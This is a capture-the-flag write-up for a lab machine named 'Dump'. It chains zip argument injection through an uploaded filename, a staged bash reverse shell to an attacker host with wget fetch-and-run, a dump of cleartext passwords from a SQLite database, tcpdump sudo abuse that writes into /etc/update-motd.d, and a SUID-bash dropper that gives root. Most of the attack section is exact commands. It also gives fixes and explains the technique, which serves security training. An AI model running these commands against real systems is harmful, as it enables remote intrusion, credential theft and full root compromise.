Dump
Summary
I found a custom PHP packet-capture manager on port 80 with open self-registration. Its download feature packaged a user's uploaded captures with the zip command and passed the stored filenames to it unfiltered, so a filename that began with a hyphen was read as a zip option.
Zip's -T/-TT test-command options gave command execution, which I used to fetch and run a script, returning a shell as www-data. The application's SQLite database held the fritz account's password in clear text, and it worked over SSH.
A NOPASSWD sudo rule let www-data run tcpdump as root with a glob-constrained output path; a second -w plus -Z fritz wrote a fritz-owned file inside /etc/update-motd.d/. As fritz, I rewrote that file to copy bash and set it SUID, and the next SSH login ran it as root.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered, for fritz>"
export CHOSEN_PASSWORD="<a-password-you-choose>"
export LPORT="<a-value-you-captured-earlier>"Attack path — how the box was taken
Exact commands 3
Confirm only SSH and Apache are listening.
$ nmap -p22,80 -sCV -Pn $TARGETFetch the landing page and confirm the upload and download endpoints exist.
$ curl -s -i http://$TARGET/ ; curl -s -o /dev/null -w '%{http_code}\n' http://$TARGET/upload.php; curl -s -o /dev/null -w '%{http_code}\n' http://$TARGET/download.phpRegister a throwaway account (zxq7/zxq7) and log in, keeping the session cookie in ck.txt.
$ cd /tmp && rm -f ck.txt && curl -s -c ck.txt -b ck.txt -o /dev/null -X POST -d "username=zxq7&password=$CHOSEN_PASSWORD&btn=Register" http://$TARGET/index.php && curl -s -c ck.txt -b ck.txt -i -X POST -d "username=zxq7&password=$CHOSEN_PASSWORD&btn=Login" http://$TARGET/index.php | head -20Exact commands 6
Build a minimal valid pcap header and upload it under the filename '-h'.
$ cd /tmp && printf '\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x01\x00\x00\x00' > p.pcap && curl -s -b ck.txt -F 'fileToUpload=@/tmp/p.pcap;filename=-h' -F 'submit=Upload Capture' http://$TARGET/upload.phpZip's help text comes back in the response, proving the filename is parsed as an option.
$ curl -s -b ck.txt http://$TARGET/download.php | head -60Stage the script wget will fetch; it backgrounds the connect-back to $LPORT so the HTTP request still returns. Start a listener on $LPORT first.
$ mkdir -p /tmp/stage && printf '#!/bin/bash\nsetsid nohup bash -c "bash -i >& /dev/tcp/'"$ATTACKER_IP"'/$LPORT 0>&1" >/dev/null 2>&1 &\nexit 0\n' > /tmp/stage/s.shServe s.sh on port 8000 (the port inside the -TT filename, separate from the $LPORT catcher).
$ python3 -m http.server 8000 --bind 0.0.0.0 --directory /tmp/stagedump.py uses requests.Session() to register and log in as zxq7, delete existing captures, POST each argument as a fileToUpload filename with the pcap body, then GET /download.php to fire zip.
$ python3 -I /tmp/dump.py zxq7 test "-TT wget -r $ATTACKER_IP:8000 -nd;bash s.sh;echo" '-T'In the caught shell: uid=33(www-data) on dump.
$ id; hostname; pwd
uid=33(www-data)FixStop passing user-controlled filenames into the archive command lineCritical
Exact commands 1
As www-data: show the sudo rule and dump the users table; fritz's password is stored in clear text.
$ id; echo '--SUDO--'; sudo -n -l 2>&1; echo '--DB--'; ls -la /var/www/database/; php -r '$d=new SQLite3("/var/www/database/database.sqlite3");$r=$d->query("select * from users");while($x=$r->fetchArray(1))echo json_encode($x),"\n";'FixHash stored passwords and stop reusing application credentials for system loginsHigh
Exact commands 2
Prove the fritz context, then read <user.txt>.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null fritz@$TARGET 'id; hostname; cat /home/fritz/user.txt'
uid=1001(fritz) groups=1001(fritz),4(adm)Fritz cannot sudo; the MOTD directory is writable only by root for now; AppArmor limits -z to gzip/bzip2, closing the GTFOBins command path.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null fritz@$TARGET 'sudo -n -l 2>&1 | tail -3; ls -la /etc/update-motd.d/; cat /etc/apparmor.d/usr.bin.tcpdump'Exact commands 1
Run as www-data. The second -w wins and -Z fritz makes the new MOTD file fritz-owned.
$ U=$(uuidgen); M=11111111-1234-1234-1234-111111111111; : > /var/cache/captures/filter.$U; nohup sudo -n /usr/bin/tcpdump -c10 -w/var/cache/captures/ -w/etc/update-motd.d/$M -Z fritz /$U -F/var/cache/captures/filter.$U >/tmp/td.log 2>&1 & sleep 10; cat /tmp/td.log; ls -la /etc/update-motd.d/FixRemove the NOPASSWD tcpdump rule that allows root-owned writes outside the capture directoryCritical
Exact commands 2
As fritz, overwrite the fritz-owned MOTD file with the SUID-bash dropper.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null fritz@$TARGET 'printf "#!/bin/bash\ncp /usr/bin/bash /home/fritz/bash\nchmod 6755 /home/fritz/bash\n" > /etc/update-motd.d/11111111-1234-1234-1234-111111111111; chmod +x /etc/update-motd.d/11111111-1234-1234-1234-111111111111'The new login runs the MOTD as root; the planted SUID bash yields euid=0 and <root.txt>.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null fritz@$TARGET 'ls -la /home/fritz/bash; /home/fritz/bash -p -c "id; hostname; cat /root/root.txt"'
euid=0(root)Attack patterns used
The transferable techniques behind this compromise.
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http Apache httpd 2.4.65 ((Debian)) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.